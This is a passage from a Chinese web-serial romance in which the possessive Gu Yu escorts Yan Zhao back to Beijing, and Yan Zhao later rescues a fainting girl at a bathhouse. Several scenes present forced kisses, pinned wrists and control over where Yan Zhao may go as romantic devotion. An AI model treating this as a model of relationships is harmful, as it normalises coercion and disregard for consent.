而她，偏偏又总是被牵扯到这个人身上。 如果换成是她，自己厌恶到骨子里的一个人，却被身边最亲近的人反复提起、反复牵连，就算什么都没发生，心里也不可能真的毫无波动。 两人来到镇子。 顾煜要去拿转户口的证明，只不过当他走了两步，又回头看了言昭一眼，语气很随意：“我自己去就好了，你可以去看看有什么要买的东西。” 言昭愣了一下。 他居然不带着她一起去。 那她是不是有机会，顺路去医院看看顾城现在的惨状？ 这个念头刚起，她就自己掐灭了。 言昭还是摇了摇头，走近一步：“我跟你一起去吧。” 顾煜看了她一眼，像是有点意外，随即却摇头：“不用。你去看看有什么要带的，我们这一次离开，就不会回来了。” 言昭想看到顾城的惨状达到巅峰。 她站在原地看了他一瞬，最终还是点了点头，语气也轻了下来：“好吧，那我去逛逛。” 当顾煜的身影消失在街口后，言昭站在原地等了片刻，确定他已经走远了，这才转身往医院的方向去。 镇子的医院很小，灰扑扑的一栋楼，门口连个像样的牌子都没有，整个镇子就这么一处看病的地方。 哪知道在言昭进门，她拦下一个忙着收拾药瓶的小护士，拐弯抹角地问了一句。 对方一听名字，露出一脸难看的表情，说人已经不在这了。 “那种病，镇里治不了。” “而且他也没钱交费。” “早上就走了。” 言昭站在原地。 原本预想中的画面一下子落空，心里反倒生出一点说不清的空落。 她轻轻叹了口气。 可惜了。 言昭回来的时候，一眼就看出来顾煜又不高兴了。 她现在已经很有经验了。 只要他情绪一沉，那双眼睛就会微微眯起，轮廓收紧，眼尾压低，整个人的气息都会变得锋利起来，看着就像两道阴影收拢成的三角形，让人下意识心里一紧。 说实话，这副样子是真的有点瘆人。 言昭忍不住在心里小声嘀咕了一句—— 也不怪别人老觉得他像是被什么东西附过身，连她这个天天跟他待在一起的人，有时候都会被那眼神盯得背脊发凉。 这个念头刚冒出来，她就立刻反应过来，抬手在自己脸上轻轻拍了两下。 她早就说过了，不能嫌弃顾煜。 而且她也已经决定了，要在他身上赌这一回，要跟他过下去。 顾煜的情绪来得快，去得也快。 没一会儿，他脸上的那点阴沉就收了起来，重新变得温和起来，像是什么都没发生过一样。 他把手里的东西放到桌上，语气变得很温柔：“我买了不少吃的，等会儿饿了就吃。” 说着，他伸手在她脸颊上轻轻抚了一下，指腹停留的时间有点久，像是在确认什么，“你脸色怎么不太好？是舍不得离开这里吗？” 言昭被他这么一碰，脸颊立刻热了起来。 她发现顾煜真的很喜欢触碰自己。 下一秒，他忽然凑近她耳边，气息贴着她的侧脸，声音压得又低又缓：“姐姐，你真舍不得离开这里？” 言昭心口猛地一跳。 她睁大眼睛，整个人都僵了一下，完全没想到他又来这一套。 明明已经说过很多次了，让他别这么喊。 她下意识想躲，可左边就是窗户，退无可退，背脊几乎贴了上去。 顾煜的身影压近，她被迫仰起头，呼吸都有点乱。 “没有。”言昭连忙开口，声音有点急，“我想回京市。” 她现在心里也是真的紧张。 车上人不少，挤挤挨挨的，本来顾煜那张脸就很容易招视线，现在两人站得又近，她几乎能感觉到周围若有若无落过来的目光。 她下意识绷着身体，肩背发紧，手指攥着衣角，呼吸都放轻了。 顾煜低头看她。 她整个人像是被逼到角落里，眼眶微微泛红，睫毛轻颤，明明什么都没说，却是一副被惊到的模样，看起来又紧张又无措。 那点瑟缩落在他眼里，几乎是立刻让他心口一紧。 顾煜原本已经到了嘴边的话，全都咽了回去。 现在不是时候。 不能再把她吓跑。 就算跑，也要到一个让她跑不掉的空间，再狠狠惩罚她。 这个认知让他心里涌起一阵烦躁，他还是硬生生把情绪压了下去，移开视线，什么都没再说。 言昭明显松了口气。 她悄悄放松下来，连肩膀都塌了一点。 这顾煜有时候真的像个孩子，情绪来得快，也走得快，只是偏偏，每一次都让人招架不住。 车子发动的那一刻，车窗外忽然一阵骚动。 言昭顺着动静往外看了一眼，心口猛地一紧。 是顾城。 他站在路边，整个人明显不太对劲，脸色灰白，眼神发直，像是在发疯一样往车里张望，一辆一辆地看，嘴里不知道在喊什么，手还不受控制地拍着车门，明显是要从这辆车上把什么人找出来。 那一瞬间，言昭几乎是本能地往顾煜那边缩了一下。 顾煜在她靠近的一瞬间，就跟着顺势抬手，把她往自己这边带了带，让她更贴近自己，也跟着挡住了她大半个身形。 她的额头几乎靠在他肩颈处，视线被完全遮住，再也看不到窗外的顾城。 车子缓缓向前滑行。 顾城的身影被一点点甩在后面，最后彻底消失在视线里。 言昭这才意识到自己贴得有多近，呼吸间全是顾煜的气息。 而且顾煜的手稳稳落在她背后，没有收回。 …… 回去的路上是坐票。 钱带得不多，又花得七七八八，躺铺根本买不起，只能挤在车厢里。 言昭一抬眼，就从顾煜脸上看出了不高兴。 那点情绪压得很低，也很明显，显然是在气她当初把钱放在家里没全带出来，现在想用的时候反倒拮据了。 言昭心里其实想吐槽一句—— 还不是你一路上随手买了不少东西。 可这话她没敢说出口，只能很识相地凑过去，小心翼翼地哄着：“坐票也没什么的，又不是坐不了。你想吃什么？我这儿还有两块钱，都给你买。” 她说得特别大方，生怕他再冷下脸来。 顾煜侧头看了她一眼，轻轻“啧”了一声，语气意味不明：“什么吃的都行？” 言昭立刻点头，点得很快：“对，什么都行。” 话音刚落，她就察觉不对了。 顾煜的目光一下子变了。 刚才那点不满还在眼底没散，此刻却被另一种情绪覆盖，变得专注又强势，带着明显的侵略意味，直直落在她身上。 那视线压过来，让人无处可躲。 言昭心口一紧，整个人下意识绷住了。 心想怎么了吗？ 顾煜忽然牵着她站起身，“那现在吧。” 言昭被他这一句弄得一愣，下意识问了一句：“你现在就饿了吗？” 顾煜没回答。 他只是握着她的手，力道不轻，直接把人从座位上拉走。 车厢里这会儿人还不多，火车刚到站不久，新上来的人零零散散，两人一路往前走，很快就到了车厢前端。 言昭一眼就看见了火车口摆着的小摊，正冒着热气，茶叶蛋的香味飘过来。 她下意识放慢脚步，刚想指过去说买两个，但是顾煜没停。 他牵着她继续往前。 没下车。 下一秒，车厢一侧的门被推开。 “嘭”的一声。 言昭还没反应过来，就被他拉了进去，门在身后合上，狭小的空间瞬间把两个人包裹住。 她后背贴上冰凉的铁皮，呼吸一下子乱了。 刚打扫完卫生，被推出来的大婶看着紧闭的大门，愣了一下，随即“啧”了一声，摇着头走远了。 厕所里空间本就不大。 顾煜站得太近了，近到她几乎无处可退，连手腕都还被他握着。 言昭心跳一下比一下快，声音压得很低：“你……你要干什么？” 顾煜低头看着她，目光沉得发暗，“你刚才说的，什么都行。” 他语气很慢，在这狭小的空间很清晰。 言昭脑子还有点转不过弯。 在这儿能吃什么？ 这时他一只手忽然抬起，扣住她的后脑，再轻轻一抬，就把她的脸仰了起来。 言昭被迫贴近他，整个人几乎嵌进他怀里。 前面是滚烫的胸膛，后面是冰冷的铁皮，两股温度夹着她，让她呼吸一下子乱了。 “我想吃的东西，”顾煜的声音贴在她耳边，低哑得像砂纸磨过，“一直在眼前。从一开始就饿着。你自己说了，什么都行。” 言昭没完全明白这句话，但顾煜的行为让她明白了。 她的唇瓣被狠狠咬住了。 不是轻碰，而是重压。 先是牙齿轻轻磕在她下唇上，逼得她下意识张嘴，他便顺势侵入。 那一瞬，言昭脑子里轰的一声，整个人都僵住了。 她睁大眼，近距离看着眼前这张脸—— 顾煜的睫毛很长，此刻半垂着，眼尾压得极低，带着他惯常的阴沉，却又烧得滚烫。 那点侵略性几乎要从他眸子里溢出来，烫得她心口发颤。 言昭下意识抬手想推他，手掌抵在他胸口，却发现根本推不动。 火车厕所本就窄得转不开身，她后背死死贴着冰冷的铁皮，前面是被他用力箍住的腰，整个人被他圈得严丝合缝，连一点缝隙都没有。 顾煜抱得太紧了，像是怕她跑，又像是终于逮着机会要补回之前所有忍耐的份额。 起初他的动作还有些生疏，却很快摸到了节奏，贴近得不容回避。 舌尖掠过她的上颚，带起一阵细密的战栗，言昭的腿几乎软了一半。 也不知道过了多久，顾煜才慢慢松开她，胸腔起伏得厉害，呼吸一口比一口重。 此刻他的眼睛被情绪浸得发亮，里面是亢奋，泛红的眼尾带着水光。 顾煜低头看着靠在自己胸口的人。 他舔了一下唇角。 在这一瞬间，有股东西在他胸口失控地翻涌上来，浓烈得让他心口发紧。 顾煜是真的很想。 不是简单的靠近，而是想把她整个裹进自己身体里，想把她的呼吸、温度、所有反应都占为己有，想确认她从里到外、从头到尾，都只属于自己。 这种念头太危险了。 危险到他自己都清楚，再往前一步，就不是她能承受的。 于是顾煜只能低下头，额头抵着她的发顶，指节收紧，又硬生生松开，把那股几乎要溢出来的渴望，强行压回身体最深处。 言昭也不知道自己是怎么回到位置上的。 等意识慢慢回笼，她才发现自己根本没坐着，脑袋竟然靠在顾煜的腿上，身上还被人披了一件外套，隔着布料都能感觉到他身体炽热的温度。 车厢里有些闷，她呼吸了一下，心口已经乱得不像话。 下一秒，她像是突然感觉到了什么，猛地一动，蹭地一下坐直了身子。 她不敢看顾煜。 视线僵硬地移开，只能盯着窗外发呆，耳根却热得厉害。 火车还没开动，站台外人影晃动，她只觉得脑袋嗡嗡的，心跳怎么都慢不下来。 言昭脑子里一片乱。 她甚至生出一种想立刻下火车的冲动。 刚才发生的事情让她现在回想起来，指尖都还在发紧。 顾煜刚才……竟然那样对她。 言昭下意识地想咬一下唇瓣，结果刚一用力，就被那明显肿胀的地方牵得一疼。 她没忍住，“嘶”了一声，倒吸了一口气。 声音很轻，可还是被顾煜听见了。 下一瞬，他已经伸手捏住她的下巴，抬起来让她看向自己。 他的视线在她唇上停了一瞬。 那是他留下的痕迹。 顾煜看得很清楚，眼底的情绪慢慢沉下来，又浮起一点不动声色的满意，他唇角微微一弯，笑得温和又危险。 然后，他低声问了一句—— “你跟顾城亲过吗？” 这句话落下，言昭怔了一瞬，紧接着胸口像是被什么狠狠撞了一下。 她原本想反驳，想立刻说没有，可那股被误会的委屈先一步涌了上来，喉咙发紧，眼眶一下子就红了。 眼泪还是掉了下来。 现在言昭胸口发闷，脑子里全是那种被彻底误解的难受。 她意识到，顾煜是真的以为，她和顾城之间发生过很多事。 可只有她自己知道不是。 上辈子她确实喜欢过顾城，也傻过，可哪怕后来拿到了离婚证，她也没让顾城真正碰过自己。 那些让人羞于启齿的事，她一直觉得，只能留给真正属于自己的男人。 无论顾城怎么哄、怎么忽悠，她最多也不过是牵过手而已。 这些话堵在胸口，说不出口，但是又压得她发疼。 顾煜显然没想到她会掉眼泪。 那点委屈来得太突然，连他都怔了一下，下意识伸手想替她擦掉，可手刚伸过去，言昭就已经偏过头，躲开了。 她抬手抹了一下眼角，声音很低：“别碰我。” 顾煜的手停在半空，指节微微蜷了一下。 他看着她侧过去的脸，看着那点湿意顺着睫毛落下，喉咙像是被什么堵住了，一时间什么话都说不出来。 顾煜僵住了。 只是这一刻，他的心口像是被什么狠狠攥了一下。 只是一个吻。 仅仅只是这样，她竟然难受成这样，甚至直接哭了出来。 这个认知让他胸腔发闷，像是被生生撕开了一道口子，疼得毫无征兆。 他低下头，呼吸压得很低，眼底那点翻涌的情绪被死死按住，可又怎么都压不平。 顾煜忽然又笑了。 那笑容并不温和，唇角勾起的弧度很浅，带着一种让人心底发冷的危险感。 明显他已经情绪被彻底压进了更深的地方，只留下表面那点平静。 她不适应。 那就让她慢慢适应就好了。 第35章 顾煜变了 接下来的三天，言昭一直有点尴尬。 那天哭完之后，她自己都觉得有些矫情。 她毕竟是真的喜欢过顾城，被人误会，好像也不算什么不能理解的事。 可偏偏，被顾煜这样误会，她心里就是过不去，那点难受怎么压都压不住。 她明明已经说过很多遍了。 不喜欢。 不在意。 没关系了。 可顾煜像是从来没真正信过。 这三天里，他对她并不冷淡，反而比以前更周到、更平静，甚至看不出半点情绪波动。 可正是这种若无其事，让言昭心里越来越乱。 她也动过离开的念头。 想着还是离开算了。 可她提过一次，话还没说完，就被他一句轻描淡写地打断了，连拒绝都算不上。 言昭在想，让她留在身边，是不是在用这种方式提醒她、嘲讽她？ 这几天，顾煜几乎没让她再碰任何东西。 包裹、吃的，全都被他放在自己脚下。 除了上厕所，言昭不能离开座位。 就算是上厕所，他也一定会跟着，一路走到门口，站在那儿等她，等她出来，再一前一后地回到座位上。 起初言昭还会不自在，后来连不自在都变得有点麻木了。 这个位置一共坐了六个人，火车一晃就是几天，大家早就混熟了。 有人聊天，有人打牌，有人分零嘴，气氛热热闹闹。 顾煜不怎么说话，大多数时候只是坐着，可他对言昭的温柔照顾，太明显了。 这一次言昭从厕所回来，还没坐下，就有人笑着打趣了一句：“哎哟，小两口感情就是好啊，走哪儿都黏在一块儿。” 这话一出，周围的人都跟着笑了起来。 言昭愣了一下，脸一下子热了。 她下意识想解释，又不知道该怎么说，只能低着头坐回位置上，手指攥着衣角，有点无措。 顾煜笑了笑。 他这个笑，是真的扎眼。 不是那种张扬的好看，而是一出现就让人忍不住多看两眼的类型，眉眼舒展开来，气质一下子软化，还又带着天然的距离感。 那种反差放在他身上，很容易让人失神。 车厢里原本只是随口打趣的气氛，悄悄变了味。 不止一个女人的目光落了过来，有年轻的，也有成熟妇人，视线在顾煜脸上停了停，又很快移开，心里却都不约而同地闪过同一个念头—— 可惜啊。 京大的大学生。 长得还这么好看。 偏偏已经结婚了。 而且看样子，还不是随便凑合的那种，对身边的人明显上心得很，护着、让着，连一点敷衍都没有。 这姑娘运气是真好。 言昭没感觉到好。 她甚至有些忧愁。 因为现在顾煜一直在看她。 不是刚才那种温柔的注视，而是带着审视的、若有所思的目光，像是在反复确认什么，又像是在衡量她的每一个反应。 那种被怀疑的感觉，让她整个人都不太自在。 幸好，京市终于到了。 火车开始减速，车厢里一阵骚动，人群站起身来，行李碰撞的声音此起彼伏。 言昭下意识也想跟着起身，但是被顾煜按住了手。 “等一会儿。” 他说得很轻。 顾煜没动，也没让她动，只是安静地坐着，等着其他人一波一波地下车。 等车厢明显空下来，他才站起身，顺手牵住她的手，把她带了出去。 站台上依旧是熟悉的人挤人。 广播声、脚步声、行李拖动的声音混在一起。 地面依旧是干净的，灯光明亮，秩序分明，和之前那些混乱、灰扑扑的镇子完全不一样。 言昭站在原地，忽然有点恍惚。 像是隔了很久很久，才重新回到这个地方。 言昭正沉在自己的情绪里没出声，下一秒，手上传来的力道忽然重了。 顾煜握紧了她，直接把她往前一带，让她脚步一乱，踉跄了一下。 她只能收敛心思跟上他的步子。 两人穿过人群，上了公交车。 车上人不少，偏偏只剩下一个位置。 言昭刚站稳，就被他按着肩膀坐了下来，动作快得不给她反应的余地。 顾煜站在她身侧，一只手扶着扶手，另一只手却自然地挡在她前面，把她整个圈在自己和车厢之间。 车子晃动的时候，她几乎是贴着他的身体，避无可避。 一路上，顾煜都没说话。 直到下了车，回到家里。 言昭她深吸了口气，打算主动开口说话。 “顾煜，我——” 话刚起个头，她抬头对上他的视线，就见他眼底那点平静忽然碎了。 顾煜没让她说完，直接上前一步，握住她的手腕，力道重得让她一惊吓出声。 下一秒，整个人就被他拉着往床上带，紧接着言昭后背撞上床沿，还没反应过来，就被他压了下去。 床垫陷下去一块，言昭脑子嗡的一声。 顾煜动作太快，一只手轻易就把她两只手腕捉住，高高举过头顶，按在枕头上。 另一只手掐住她的下巴，指尖微微用力，逼得她脸仰起来。 然后，他低头吻了下来。 不是轻碰，是带着火气的重压。 唇瓣刚贴上，就用力碾磨，像是要把这几天忍的所有情绪都发泄出来。 言昭整个人僵住，脑子里瞬间闪回火车厕所那次—— 同样的强势，同样的不容拒绝。 那次她的唇被咬得又疼又肿，好几天都合不拢嘴。 现在又来？ 言昭害怕了。 害怕嘴巴又疼得吃不下东西。 言昭下意识想挣扎，腿乱蹬了一下，但是她的手腕已经被他压得死死的，一点都动不了。 顾煜一开始吻得很凶，牙齿磕在她唇上，舌尖强硬地撬开她齿关，扫过每一个角落，像是要把她整个人都吞下去。 呼吸粗重，滚烫的气息喷在她脸上。 言昭眼眶一下子就红了。 她不是想哭，是被逼得喘不过气，眼泪自己往外涌。 泪水顺着她眼角滑下来，湿了鬓角，也湿了枕头。 顾煜看见她哭的样子，动作一顿。 他稍稍勉强退开一点，额头还抵着她的，喘息声清晰得过分。 言昭睁开眼，泪眼朦胧地看他，就见他眼底那点凶戾慢慢散了，取而代之的是复杂的情绪—— 有烦躁，有心疼，还有藏不住的涌动。 言昭感觉唇瓣火辣辣的疼。 她想说点什么，可一个字都挤不出来，只能继续哭，一边喘着一边哭。 难受得不成样子。 顾煜没松开她的手腕，只把力道轻了不少。 他低头，又轻轻啄了一下那被自己咬红的唇瓣， “不哭了。”他声音低得只剩气音，贴在她耳边，“我不咬了。” 言昭湿漉的眼睛睁着看他，在看他是不是说真的。 顾煜叹了口气，终于松开了她的手腕，但是没完全退开。 他翻身躺到她身边，一只手揽住她的腰，把她往怀里带了带，让她脸埋在他胸口。 “说话。”他声音闷闷的，手指在她后背一下一下轻轻顺着，“想说什么，就说。” 言昭窝在他怀里，半天没吭声。 唇瓣还疼着，火辣辣的。 过了好一会。 言昭闭了闭眼，手指无意识地攥紧他衣料，小声开了口：“我……真的不喜欢顾城了。” 顾煜没说话，只是抱得更紧了些。 “以前是喜欢过。”她声音发颤，继续把话说完，“但现在没有了，真的一点都没有。” 顾煜终于动了动，下巴抵在她发顶，声音低哑：“我知道。” 言昭没再说话。 她其实还想继续解释—— 想说自己和顾城，从始至终都没做过那种逾越的事。 可这话到了嘴边，又被她硬生生咽了回去。 她怕。 怕一说出口，顾煜会问得更细，会追着她问当时到底发生了什么、顾城有没有碰过她、她又有没有回应。 她更怕他不问，只是用那种沉沉的目光看着她，然后…… 再做出更过分的事。 就像刚才那样，把她压在床上，吻到她喘不过气。 顾煜沉默了好一会儿，胸口那团火气渐渐压下去，才哑着嗓子，低低开口： “去大澡堂吧。” 他松开揽在她腰上的手。 言昭埋在他怀里的脸猛地抬起，眼眶还红着，泪痕未干，湿漉漉的睫毛颤了颤，满眼错愕，又带着一点不敢相信的亮光。 放过自己了？ “好的！” 言昭几乎是脱口而出，连忙点头。 然后就从他怀里挣出来跳下床，扑到衣柜前就开始翻衣服。 此刻她的手指还在微微发抖。 顾煜半靠在床头，没动，目光沉沉地落在她身上。 看着她刚才还哭得喘不过气、眼泪一颗颗往下掉的样子，转眼间就眼睛亮起来，脚步轻快得像要飞，整个人活过来似的。 他眉心狠狠蹙起。 这女人…… 到底是适应得太快了？ 还是压根就没把自己当回事？ 顾煜喉结滚了滚，指尖无意识收紧，掌心发疼。 言昭还在翻找衣服，她最怀念的还是这个大澡堂。 以前还会嫌弃贵，泡完还心疼。 现在只觉得好得要命，方便得要命。 尤其这三天火车上，颠簸闷热，汗味烟味方便面味厕所味，全黏在身上，头发里衣服里，腻得她夜里都睡不踏实。 一想到待会儿就能泡进滚烫大池子，把所有脏兮兮冲干净，她喉咙就发紧，眼眶发热。 言昭从柜子底层拽出旧卫衣，手指摸到暗袋，拉链一拉，看到那叠一千块还在，一分没少。 言昭更高兴了。 她抱着衣服转身，嘴角刚翘起。 然后就对上了顾煜的目光。 他靠在床头没动，眼神沉沉静静盯着她，那视线重得发烫，像无声的火，烧得她后背一凉，刚才那点轻松瞬间僵住，笑意一点点垮了下去。 顾煜走过来，伸手就把她怀里的旧衣服接过来。 言昭一愣，手还保持着抱空的姿势。 他转过身，从衣柜最上层拿了几件下来。 言昭低头盯着那条碎花裙，指尖发凉，唇瓣火辣辣地疼。 她张了张嘴，想说什么，可一抬头，对上他那双沉沉的眼睛，喉咙像被什么堵住，话全咽了回去。 顾煜弯腰，从床底下拖出澡堂篮子，毛巾肥皂搓澡巾都放好了。 他拎起篮子，说道：“走吧。” 言昭落了他半步，没让他再牵着自己，也不敢停下来，跟着他往外走。 现在她是真的有点怕了。 以前怕他，是怕他不收留自己，怕自己又流落到街头。 后来怕他，是怕他做出伤害自己的事—— 怕他冲动，怕他受伤。 现在自己怕他，是怕他对自己做出让她受不了的事。 比如刚才那个吻。 凶狠的，像要吞了她似的，牙齿磕得唇瓣火辣辣地疼，眼泪都喘不上气。 以前，她还能把他当成弟弟。 小她几岁，性子冷，脾气倔，可心底还是软的，像需要人哄的弟弟。 可现在被他亲了两回。 那哪还是弟弟？ 那分明是个男人。 心思重得吓人，眼神沉得像要烧穿她。 院子里原本还挺热闹。 水龙头那边有人洗脸，有人端着盆说话，一看见顾煜和言昭一前一后出来，声音不自觉地就低了下去。 不少目光跟着落过来。 言昭低着头走在顾煜身后，怀里抱着衣服，步子很快，但是刻意和他隔开了半步的距离。 院子里的人你看看我、我看看你，心里立刻有了判断。 啧，又吵了？ 总吵早晚得散。 顾煜感受到那些带有恶意的眼神，又看了一眼还在低头de女人。 他直接把言昭往自己身侧一拉，动作不算温柔，却稳稳当当，把她带到了自己旁边。 言昭猝不及防，被拽得差点撞上他，下意识抬头看他。 顾煜俯身，凑到她耳边，热气喷在她耳廓上，声音低哑得像含着砂： “你要是再低头下去，我就亲你了。” 言昭眼睛猛地睁大，不敢置信地盯着他。 耳根瞬间烧起来，心跳像要撞出胸口，咚咚咚地乱撞。 他……他说什么？ 亲她？ 就在这儿？ 当着院子里这么多人？ 她唇瓣还火辣辣地疼着，刚才在屋里那一下就让她腿软，现在又来？ 热气还残留在耳边，像羽毛轻轻挠过，痒得她想缩脖子。 顾煜看她这个样子，眼底闪过一点暗色，嘴角几乎不可察地勾了勾。 他没再说话，直接转身往房间走。 言昭条件反射地伸手，一把抓住他的衣角。 手指攥得死紧，指节发白。 然后她慢慢地把脑袋抬起来，高高的。 下巴抬得僵硬，眼眶还红着，睫毛颤颤的，可死死盯着前方，不再低头。 只不过，她红得几乎要滴血的耳根，还有明显乱了节奏的呼吸，早就把她出卖得干干净净。 第36章 一个贪财一个贪色 言昭进了女澡堂，热气一下子裹上来。 自从回了老家，洗澡就成了遭罪的事。 她还是想念这个大澡堂。 热水滚烫，池子大，人一泡进去，骨头都软了，舒服得她差点叹出声。 只不过今天有人。 不远处，浴池边沿趴着一个人，头发湿漉漉地散在肩背，看背影是个年轻女人，脸埋在臂弯里，像睡着了。 言昭没多想，绕到另一边，试了试水温，慢慢滑进去。 热水漫过肩膀，热气蒸得眼前一片白雾，她闭上眼，整个人都松下来。 这些天所有的紧绷都在这一刻化开了。 泡了好一会儿，舒服得几乎要打盹。 她睁开眼，懒洋洋往对面看了一眼。 那人还是那个姿势，一动不动。 顾煜跟她说过，澡堂里热水蒸腾，人泡久了容易犯晕。 而这人从她进来就没动过，不会晕倒了吧？ 言昭又等了一会儿，就看到那人身子开始往池沿滑了一下。 紧接着“扑通”一声，水花溅起老高。 言昭连忙扑了过去。 水花四溅，她顾不上什么羞涩，一把抓住那人的胳膊往上拽。 水阻力大，那人整个人软绵绵地往下坠，像没有骨头。 言昭咬紧牙，另一只手绕到对方颈后，猛地用力，终于把人头托出水面。 是个年轻的小姑娘，十五六岁的模样，脸色白得吓人，嘴唇发紫，眼睛紧闭，睫毛上还挂着水珠。 言昭把她拖到池边浅水处，让她上半身靠在自己肩上，一手托背，一手拍脸：“喂！醒醒！听见没有？” 没反应…… 言昭深吸一口气，回忆起以前在村里见过别人救溺水人的法子—— 把人平放，压胸放水。 在她压了十几下，这人才一口水喷出来，胸口起伏，眼睛半睁开，茫然地看着头顶。 言昭松了一大口气，整个人差点瘫坐下去。 她赶紧抓过池边挂着的毛巾，先盖在那人身上，又拿另一条胡乱裹住自己，声音还带着颤：“你没事吧？还能说话不？” 小姑娘缓过一口气，才勉强坐稳。 她声音发虚，说自己叫白玲玲。 话断断续续解释着，是泡得太久，头一阵阵发晕，想起来的时候已经没力气了。 说完就连声道谢。 言昭让她先别说话。 白玲玲歇了一会儿，才慢慢抬起头。 眼睛湿漉漉的，声音轻得几乎要散在热气里。 她有点不好意思，又有点无措，小声问：“言昭姐姐……你能扶我去更衣室吗？我现在一点力气都没有。” 言昭看了她一眼，点头。 她自己也泡得差不多了，简单擦干身子，把衣服裹好，又把毛巾给白玲玲拢紧，这才让她把手搭在自己胳膊上。 两个人一步一步挪到更衣室。 言昭听见她哥哥也来了，可能在外面等着急坏了。 她觉得帮人帮到底吧，就说自己帮忙去跟她哥哥说一声，让人别慌。 白玲玲眼睛都红了，连连点头，声音都有点哑了，说：“那谢谢言昭姐姐，我哥哥今天穿的灰色衣服，是寸头。” 言昭应了一声，把白玲玲说的样子记下。 她换上顾煜给她选的那条碎花裙子。 头发还湿着，她随手拢了下，就掀开门帘走了出去。 说实话，出来前她还担心人多杂乱，怕找不着。 结果一抬眼就看见了。 女澡堂门口不远处，站着一个男人。 寸头，灰色上衣，身形挺拔，五官很正，此刻明显绷着，目光一遍遍往女洗澡的门口扫，神色焦躁得掩都掩不住。 言昭刚一出来，他就立刻看了过来，几步走近，语气又快又急：“这位小姐，请问你在里面有没有看到一个十五六岁的姑娘？” 言昭立刻点头：“是叫白玲玲吗？你是她哥哥吗？” 男人用力点头：“是，我是她哥哥，我叫白策。” 言昭接着说：“她刚刚泡久了晕倒，现在正在里面换衣服，一会儿就出来了。” 话音刚落，男人整个人像是被抽走了一口紧绷的气。 他下意识伸手，一把握住言昭的手，连声道：“谢谢，谢谢你，真的谢谢你。” 说完他发现自己的举动，连忙松开手往后退了一步，英俊的脸上浮出明显的红晕，连声说对不起。 就在这时，女澡堂的门帘被人掀开。 白玲玲换好衣服走了出来，一眼就看见了人，立刻喊了一声：“大哥！” 白策猛地转身，几步迎上去，问道：“怎么回事？你现在还有哪儿不舒服？” 白玲玲摇头，说自己没事，就是泡久了犯晕。 说着又补了一句，是言昭姐姐把她救上来的。 白策这才重新看向言昭。 她站在门口，身上穿着那条碎花裙子，裙摆贴着腿线垂落下来。 刚洗过澡，头发还湿着，水汽顺着发梢一点点往下滴，衬得整个人好看又柔和。 白策的神情明显一顿，脸色变得有些不自然。 下一秒，他忽然站直了身子，朝言昭深深弯下腰。 弯得很标准，很用力。 语气郑重：“谢谢你救了我妹妹。” “没事的。” 言昭被白策那一下郑重的态度弄得有点局促，连忙说，“换成别人遇到这种情况，也都会救的。” 白策摇了摇头，正要再说—— “你在跟谁说话？” 一道声音忽然插进来。 语调低冷，压着明显的不悦。 言昭还没反应过来，手腕已经被人一把扣住，整个人被往后一拉，重重撞进一个怀里。 “你洗好啦。” 顾煜已经站在她身前，手臂圈着她的肩，把人牢牢扣在怀里。 他脸色很不好看，眉眼冷沉，目光越过她，直接落在白策身上。 顾煜头发同样是湿的，水珠顺着发梢往下滴，贴在额前。 “你认识他？” 顾煜低头问她，声音贴着她的耳侧。 言昭被他圈得有点紧，只能小声说：“不认识。” 白策看着突然出现在言昭身边的男人，明显怔了一下。 这张脸，就算站在男人的角度看，也很难不注意。 五官线条干净利落，气质冷沉，站在那里本身就很有存在感。 只是那双眼睛太冷了。 看过来的眼神，分明是已经把他当成了心怀不轨的人。 这边，言昭已经低声把事情说清楚了，只是顾煜的脸色并没有因此缓下来。 他垂眼看了看她还在往下滴水的发梢，眉头压得更紧：“头发还湿着，会生病，我给你擦干。” 言昭被他这一句弄得头皮发麻。 这地方，人来人往，她哪能当着别人面让顾煜给自己擦头发。 她赶紧伸手抓住他的手腕，压低声音：“我们先回去。” 顾煜垂眼看着她，眸色沉了沉。 片刻后，他没再动手，只是反手扣住她的手，把人往自己身侧带了一步。 “嗯，回家。” 言昭就被顾煜半护着带走，身影消失在拐角处。 白玲玲才慢慢收回视线。 下一秒，眼睛一下子亮了。 她忍不住小声吸了口气，压着声音，却压不住兴奋：“言昭姐姐的对象也太好看了吧！不过想想也是，言昭姐姐本来就很好看。好看的人，果然都会跟好看的人在一起。” …… 另一边，刚走出一段路，言昭就察觉到顾煜又在不高兴了。 那种不高兴很明显。 不是吵，不是冷脸，而是整个人的气压都低了下来，走路的步子都比平时快一点，手也始终没松开她。 言昭在心里叹了口气。 这人是真的，时时刻刻都在不高兴。 比上辈子哄顾城还累。 顾城至少言昭清楚他想要什么的，只要顺着给，情绪立刻就好。 可顾煜不一样。 他有时候会突然变得很温柔。 可下一秒，又会莫名其妙地生气，像是被什么戳中了，可偏偏又什么都不说。 言昭是真的搞不懂他想要什么。 但有一点，她倒是慢慢摸出来了。 顾煜不管怎么生气，都不会把她往外推。 相反，越是情绪不稳，越是把她扣得紧，恨不得她贴在他身上。 想到这里，言昭脚步慢了一下。 她好像知道怎么哄顾煜了。 言昭侧过身，伸手拉了拉顾煜的衣角。 然后她踮起脚，轻轻靠近他，直接问了出来：“你是在生气吗？” 顾煜脚步顿了一下。 他侧过头看她，像是没想到她会这么直白，眉梢微微动了动。 “我要是生气了，”他低声问，“你会怎么办？” 这句话反倒把言昭问住了。 她抿了下唇。 唇瓣还有点肿，微微发热，那种触感让她一下子想起不久前被他亲到发软的感觉。 言昭移开视线，声音小了点：“我也不知道。”她停了一下，又转头看他，语气认真得不行：“那你告诉我，我怎么做，你会开心一点？” 顾煜盯着她看了几秒。 眼神很深。 然后他说：“亲我。” 声音不高，却清清楚楚。 言昭整个人直接愣住。 眼睛一下子睁大，下一秒，脸从耳根一路红到脖子。 她几乎是条件反射地左右看了一眼，大街上人来人往，她简直不敢相信这话是从顾煜嘴里说出来的。 “你……” 言昭压低声音，整个人都快炸开了，“你怎么能在这儿说这个？” 顾煜看着她的反应，眼底的阴郁反而散了点。 他低下头，凑近她耳边，语气慢悠悠的：“那你说，行不行？” 言昭被他逼得一句话都说不出来。 然后她转过身，脚步飞快的回家。 她现在都有点生气，有点懊恼。 顾煜跟在她身后，没有再说话，只是距离始终没拉开。 风吹过来，她湿着的发梢贴在颈侧，有点凉，脑子比刚才清醒多了。 言昭忽然有点后悔自己刚才问那一句。 她原本只是想把话摊开，把两人憋着的那点不高兴解决掉，没想到反而把事情往一个更憋屈的方向推了一步。 自己也算是看明白了。 顾城是贪财。 这个顾煜是贪色！ 一个比她还小三岁的人，这么聪明的人，怎么总想一些这种东西！ …… 回到家的时候，天色已经黑得不能再黑了。 